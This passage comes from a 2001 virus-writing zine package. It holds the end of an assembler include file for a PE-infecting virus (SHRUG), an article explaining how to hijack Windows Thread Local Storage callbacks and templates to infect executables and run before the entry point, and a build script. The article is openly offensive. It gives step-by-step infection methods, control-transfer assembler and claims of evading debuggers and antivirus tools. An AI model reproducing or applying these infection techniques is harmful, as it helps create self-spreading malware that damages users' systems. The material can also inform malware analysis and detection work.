IMAGE_FILE_EXECUTABLE_IMAGE     equ     0002h
IMAGE_FILE_32BIT_MACHINE        equ     0100h
IMAGE_FILE_SYSTEM               equ     1000h
IMAGE_FILE_DLL                  equ     2000h
IMAGE_FILE_UP_SYSTEM_ONLY       equ     4000h

IMAGE_SUBSYSTEM_WINDOWS_GUI     equ     2
IMAGE_SUBSYSTEM_WINDOWS_CUI     equ     3

IMAGE_SCN_MEM_WRITE             equ     80000000h

RANDPADMIN                      equ     4096
RANDPADMAX                      equ     2048 ;RANDPADMIN is added to this

SECTION_MAP_WRITE               equ     0002h

FILE_MAP_WRITE                  equ     SECTION_MAP_WRITE

PAGE_READWRITE                  equ     04

align           1                               ;byte-packed structures
krncrcstk       struct
        kSfcIsFileProtected     dd      ?       ;appended from other location
        kUnmapViewOfFile        dd      ?
        kSetFileTime            dd      ?
        kSetFileAttributesW     dd      ?
        kSetFileAttributesA     dd      ?
        kSetCurrentDirectoryW   dd      ?
        kSetCurrentDirectoryA   dd      ?
        kMultiByteToWideChar    dd      ?
        kMapViewOfFile          dd      ?
        kLoadLibraryA           dd      ?
        kGlobalFree             dd      ?
        kGlobalAlloc            dd      ?
        kGetVersion             dd      ?
        kGetTickCount           dd      ?
        kGetFullPathNameW       dd      ?
        kGetFullPathNameA       dd      ?
        kFindNextFileW          dd      ?
        kFindNextFileA          dd      ?
        kFindFirstFileW         dd      ?
        kFindFirstFileA         dd      ?
        kFindClose              dd      ?
        kCreateFileMappingA     dd      ?
        kCreateFileW            dd      ?
        kCreateFileA            dd      ?
        kCloseHandle            dd      ?
krncrcstk       ends
krncrc_count    equ     (size krncrcstk - 4) shr 2

tlsstruc        struct
        tlsrawbeg       dd      ?
        tlsrawend       dd      ?
        tlsindex        dd      ?
        tlsfuncptr      dd      ?
        tlsfiller       dd      ?
        tlsflags        dd      ?
        tlsfunc         dd      2 dup (?)
tlsstruc        ends

initstk         struct
        initret         dd      ?
        initDLLHandle   dd      ?
        initReason      dd      ?
        initReserved    dd      ?
initstk         ends

sehstruc        struct
        sehkrnlret      dd      ?
        sehexcptrec     dd      ?
        sehprevseh      dd      ?
sehstruc        ends

FILETIME        struct
        dwLowDateTime   dd      ?
        dwHighDateTime  dd      ?
FILETIME        ends

WIN32_FIND_DATA struct
        dwFileAttributes        dd              ?
        ftCreationTime          FILETIME        <?>
        ftLastAccessTime        FILETIME        <?>
        ftLastWriteTime         FILETIME        <?>
        dwFileSizeHigh          dd              ?
        dwFileSizeLow           dd              ?
        dwReserved0             dd              ?
        dwReserved1             dd              ?
        cFileName               dw              260 dup (?)
        cAlternateFileName      dw              14 dup (?)
WIN32_FIND_DATA ends

findlist        struct
        findprev        dd                      ?
        findhand        dd                      ?
        finddata        WIN32_FIND_DATA         <?>
findlist        ends

coffhdr         struct
        pemachine       dw      ?               ;04
        pesectcount     dw      ?               ;06
        petimedate      dd      ?               ;08
        pesymbrva       dd      ?               ;0C
        pesymbcount     dd      ?               ;10
        peopthdrsize    dw      ?               ;14
        peflags         dw      ?               ;16
coffhdr         ends

pedir           struct
        dirrva          dd      ?
        dirsize         dd      ?
pedir           ends

pehdr           struct
        pesig           dd      ?               ;00
        pecoff          coffhdr <?>
        pemagic         dw      ?               ;18
        pemajorlink     db      ?               ;1A
        peminorlink     db      ?               ;1B
        pecodesize      dd      ?               ;1C
        peidatasize     dd      ?               ;20
        peudatasize     dd      ?               ;24
        peentrypoint    dd      ?               ;28
        pecodebase      dd      ?               ;2C
        pedatabase      dd      ?               ;30
        peimagebase     dd      ?               ;34
        pesectalign     dd      ?               ;38
        pefilealign     dd      ?               ;3C
        pemajoros       dw      ?               ;40
        peminoros       dw      ?               ;42
        pemajorimage    dw      ?               ;44
        peminorimage    dw      ?               ;46
        pemajorsubsys   dw      ?               ;48
        peminorsubsys   dw      ?               ;4A
        pereserved      dd      ?               ;4C
        peimagesize     dd      ?               ;50
        pehdrsize       dd      ?               ;54
        pechksum        dd      ?               ;58
        pesubsys        dw      ?               ;5C
        pedllflags      dw      ?               ;5E
        pestackmax      dd      ?               ;60
        pestacksize     dd      ?               ;64
        peheapmax       dd      ?               ;68
        peheapsize      dd      ?               ;6C
        peldrflags      dd      ?               ;70
        pervacount      dd      ?               ;74
        peexport        pedir   <?>             ;78
        peimport        pedir   <?>             ;80
        persrc          pedir   <?>             ;88
        peexcpt         pedir   <?>             ;90
        pesecurity      pedir   <?>             ;98
        pereloc         pedir   <?>             ;A0
        pedebug         pedir   <?>             ;A8
        pearch          pedir   <?>             ;B0
        peglobal        pedir   <?>             ;B8
        petls           pedir   <?>             ;C0
        peconfig        pedir   <?>             ;C8
        pebound         pedir   <?>             ;D0
        peiat           pedir   <?>             ;D8
        pedelay         pedir   <?>             ;E0
        pecom           pedir   <?>             ;E8
        persrv          pedir   <?>             ;F0
pehdr           ends

peexp           struct
        expflags        dd      ?
        expdatetime     dd      ?
        expmajorver     dw      ?
        expminorver     dw      ?
        expdllrva       dd      ?
        expordbase      dd      ?
        expadrcount     dd      ?
        expnamecount    dd      ?
        expadrrva       dd      ?
        expnamerva      dd      ?
        expordrva       dd      ?
peexp           ends

mzhdr           struct
        mzsig           dw      ?               ;00
        mzpagemod       dw      ?               ;02
        mzpagediv       dw      ?               ;04
        mzrelocs        dw      ?               ;06
        mzhdrsize       dw      ?               ;08
        mzminalloc      dw      ?               ;0A
        mzmaxalloc      dw      ?               ;0C
        mzss            dw      ?               ;0E
        mzsp            dw      ?               ;10
        mzchksum        dw      ?               ;12
        mzip            dw      ?               ;14
        mzcs            dw      ?               ;16
        mzreloff        dw      ?               ;18
        mzfiller        db      22h dup (?)     ;1A
        mzlfanew        dd      ?               ;3C
mzhdr           ends

pesect          struct
        sectname        db      8 dup (?)
        sectvirtsize    dd      ?
        sectvirtaddr    dd      ?
        sectrawsize     dd      ?
        sectrawaddr     dd      ?
        sectreladdr     dd      ?
        sectlineaddr    dd      ?
        sectrelcount    dw      ?
        sectlinecount   dw      ?
        sectflags       dd      ?
pesect          ends

mapsehstk       struct
        mapsehprev      dd      ?
        mapsehexcpt     dd      ?
        mapsehregs      dd      8 dup (?)
        mapsehsehret    dd      ?
        mapsehinfret    dd      ?
mapsehstk       ends

mapstack        struct
        mapfilesize     dd      ?
        mapmapret       dd      ?
        mapinfret       dd      ?
        mapattrib       dd      ?
mapstack        ends

infectstk       struct
        infdelta        dd              ?
        infmapview      dd              ?
        inffilesize     dd              ?
        infseh          mapsehstk       <?>
infectstk       ends
align                                           ;restore default alignment
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[SHRUG.INC]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[TLS.TXT]ÄÄÄ
                             Thread Local Storage
                            The hidden entry point
                              roy g biv / defjam

                                 -= defjam =-
                                  since 1992
                     bringing you the viruses of tomorrow
                                    today!


Prologue:

Please excuse my English.  I'm still learning.


About the author:

Former  DOS/Win16  virus writer, author of several virus  families,  including
Ginger  (see Coderz #1 zine for terrible buggy example, contact me for  better
sources  ;),  and  Virus Bulletin 9/95 for a description of what  they  called
Rainbow.   Co-author  of  world's first virus using circular  partition  trick
(Orsam,  coded  with  Prototype in 1993).  Designer of the world's  first  XMS
swapping  virus (John Galt, coded by RTFishel in 1995, only 30 bytes stub, the
rest  is swapped out).  Author of various retrovirus articles (eg see Vlad  #7
for the strings that make your code invisible to TBScan).  Went to sleep for a
number  of years.  This is my first virus for Win32.  It is the world's  first
virus using Thread Local Storage for replication.  It took me a week to design
it  and a whole day to write it.

I'm also available for joining a group.  Just in case anyone is interested. ;)


What is Thread Local Storage?

This is what Microsoft has to say about it:
"The  .tls  section  provides direct PE/COFF support for static  Thread  Local
Storage  (TLS).   TLS is a special storage class supported by Windows NT.   To
support  this  programming construct, the PE/COFF .tls section  specifies  the
following  information: initialization data, callback routines for  per-thread
initialization and termination, and the TLS index".

So,  Thread Local Storage (TLS) is a Microsoft invention for applications that
need  to  initialise  thread data before main execution begins.  To  do  this,
there  are callback pointers.  These functions execute before the code at  the
main  entry point!  To prove that, load my example code into any debugger  and
see  what happens.  Ho ho, we even fool SoftIce for NT, the god of  debuggers.
Clearly,  this  is a new way for viruses to run and probably the  AVers  don't
know about it yet, or if they do then they don't support it because no viruses
use it (maybe they said that about NTFS alternative streams too).

Some points now:
We  can ignore the reference to .tls because there is a field in the PE header
that  points to this structure anywhere in the file.  Unfortunately, it's true
that  it  works  only under Windows NT/2000/XP.  Under Windows  9x/Me,  simply
nothing  happens  and  those  functions never receive  control.  At  least  it
doesn't  crash. :)  Also,  NT/2000/XP require import section that imports  dll
that uses kernel32 APIs, else a page fault occurs.  This appears to be a bug.

The callback functions have the same parameters as a DLL entry-point function,
except that nothing is returned.  The declaration looks like this:

typedef VOID (NTAPI *PIMAGE_TLS_CALLBACK)
             (PVOID DllHandle, DWORD Reason, PVOID Reserved);

This means that there are three parameters on the stack, so TLS functions must
use RET 000Ch on exit.  The Reason parameter can take the following values:

Setting                 Value   Description
DLL_PROCESS_ATTACH      1       New process has started
DLL_THREAD_ATTACH       2       New thread has been created
DLL_THREAD_DETACH       3       Thread is about to be terminated
DLL_PROCESS_DETACH      0       Process is about to terminate

The DLL_PROCESS_ATTACH and DLL_PROCESS_DETACH messages mean that we are called
for  the  host startup (after CreateProcess() but before process entry  point)
and  shutdown  (from  within  ExitProcess()), and  the  DLL_THREAD_ATTACH  and
DLL_THREAD_DETACH   mean  that  we  are  called  for  thread  startup   (after
CreateThread()  but  before  thread  entry point) and  shutdown  (from  within
ExitThread()).   This  happens for EXEs and also DLLs (but only DLLs that  are
not  loaded with LoadLibrary).  No need to hook ExitProcess() anymore  because
we will be called by ExitProcess() automatically.

It  is important to know that NTDLL.DLL (not KERNEL32.DLL!) calls the callback
functions,  and  that  kernel32.dll is not in the SEH chain  when  the  ATTACH
messages  are sent, only when the DETACH messages are sent.  Thus, if you need
to  call  kernel32.dll APIs from an ATTACH message, then you cannot use a  SEH
walker  to  find kernel32.dll image base.  The good thing is that  the  import
table is filled already, so you can use the host imports.


What does TLS look like?

At offset 0xC0 in the PE header is the pointer to the TLS directory.
According to Microsoft documentation, the TLS directory has the format:

Offset  Size    Field                   Description
0x00    4       Raw Data Start VA       Starting address of the TLS template
0x04    4       Raw Data End VA         Address of last byte of TLS template
0x08    4       Address of Index        Location to receive the TLS index
0x0C    4       Address of Callbacks    Pointer to array of TLS callbacks
0x10    4       Size of Zero Fill       Size of unused data in TLS template
0x14    4       Characteristics         (reserved but not checked)

Notice  that the pointers are all virtual addresses (VA), not relative virtual
addresses  (RVA).   This means that if we add a TLS directory, we should  also
add  relocation items to the .reloc section, or simply remove all relocations.
The reason for this is that if the file is loaded to a different base address,
then  Windows NT/2000 will display the message box "The application failed  to
initialize correctly" and the file will not execute anymore.


What do the TLS fields mean?

The  TLS template contains data that are copied whenever a thread is  created.
These  data  can  also  be executable codes.  If the template  exists  (it  is
optional  and  so  the fields can be null) then when the  application  starts,
Windows  will allocate an array for the TLS pointers and store this pointer at
fs:0x2c.   For  each  thread  that is created, the size  of  the  template  is
allocated  from  the local heap, the data are copied to there, the pointer  is
stored  in the array, and the array index is stored in the TLS index field.  A
thread can get its pointer by this formula:
dword at (dword at fs:[0x2c] + (TLS index * 4))
Or some code:
mov eax, dword ptr fs:[2ch]             ;get pointer to array of TLS pointers
mov ecx, dword ptr [offset TLSIndex]    ;get TLS index
mov eax, dword ptr [ecx * 4 + eax]      ;get pointer to TLS data
then access data at [eax + offset]

The  Address  of  Callbacks  field contains the Virtual Address  of  an  null-
terminated  array of functions that receive the ATTACH/DETACH messages.  It is
valid  to have no entries in this array.  In that case, the field is  supposed
to point to four zero bytes, however the actual field can also be null.


How to use TLS?

There are a few simple ways to use TLS to infect a file:
add a callback pointer to existing array (or create new array)
alter one of the host callback pointers
alter the code in one of the callbacks
create a new TLS directory
hijack the TLS template and alter some code somewhere in the file

If  you  want to use the TLS method to infect a file, firstly check if  a  TLS
directory  exists already.  If it does, then you can pick at random a callback
routine  pointer and change it to point to your code.  If there is no existing
TLS  directory,  then  add one by setting correctly the pointers in  your  own
version.   The template addresses can be set to null and the index pointer can
point to any writable dword (including the Characteristics field because it is
not  used).  The callback pointer will point to the array of callback  routine
pointers,  one of which will be the virus entry point.  When this entry  point
receives control, the file is loaded fully into memory and the import table is
fixed  up.  This means that we can do anything that we would do normally, like
go  resident  or  call  API functions and spread to  other  files.   The  main
difference  is  that  we are guaranteed to be called at least twice,  once  on
startup  and  once on shutdown, and twice more for every thread that the  host
uses.   This means that we must be careful to avoid recursion because we  will
also be called if we use threads in our virus code.

Hijacking  the  TLS template is a technique that I discovered some time  later
during  my  research.  The idea is to make a copy of the TLS template and  add
the  virus code to it.  When the process starts (or a thread is created), then
the  virus code is copied by Windows into the heap.  This means that the  code
is  automatically placed into a executable and writable memory space,  without
any  call to malloc or memcopy.  The only thing that is required after that is
to  transfer  control to the code on the heap.  That is done by using the  TLS
index to get the heap pointer.

The transfer of control code would look something like this:
this code is in the file:
fib:
push    eax
push    ecx
mov     eax, dword ptr fs:[2ch]
mov     ecx, dword ptr [offset tls_index]
mov     eax, dword ptr [ecx * 4 + eax]
add     eax, size of original TLS template
call    eax
fie:

this code is on the heap:
pop     eax             ;get return address
pop     ecx             ;restore original ecx
sub     eax, fie - fib  ;point to first byte of code in file
xchg    eax, [esp]      ;store real return address and restore original eax
pushad                  ;now save all original registers
;rest of code is here.  do not forget to restore host bytes
popad                   ;restore all registers
ret                     ;return to host


Epilogue:

Now  you  want to look at my example code and then to make your own  examples.
There   are  many  possibilities  with  this  technique  that  make  it   very
interesting.  It is easy when you know how.  Just use your imagination.

TLSDemo1 has an inserted TLS directory and code that displays message box.
This code runs before main entry point.

TLSDemo2 has a hijacked TLS template and code that displays message box.
This code jumps from main entry point to heap without malloc or memcopy.


Greets to the old Defjam crew:

Prototype, RTFishel, Obleak, and The Gingerbread Man


rgb/dj jan 2001
iam_rgb@hotmail.com
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[TLS.TXT]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[MAKE.BAT]ÄÄÄ
@echo off
if %1.==. goto usage
%tasm32%\bin\tasm32 /r /ml /m9 /os /p /q /w2 /zn %1
if errorlevel 1 goto end
%tasm32%\bin\tlink32 /c /B:400000 /Tpe /aa /x /n %1.obj,,,%tasm32%\lib\import32.lib,
del %1.obj
goto end

:usage
echo.
echo Usage: MAKE filename
echo eg. MAKE SHRUG
echo requires %tasm32% set to TASM directory (eg C:\TASM)

:end
echo.
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[MAKE.BAT]ÄÄÄ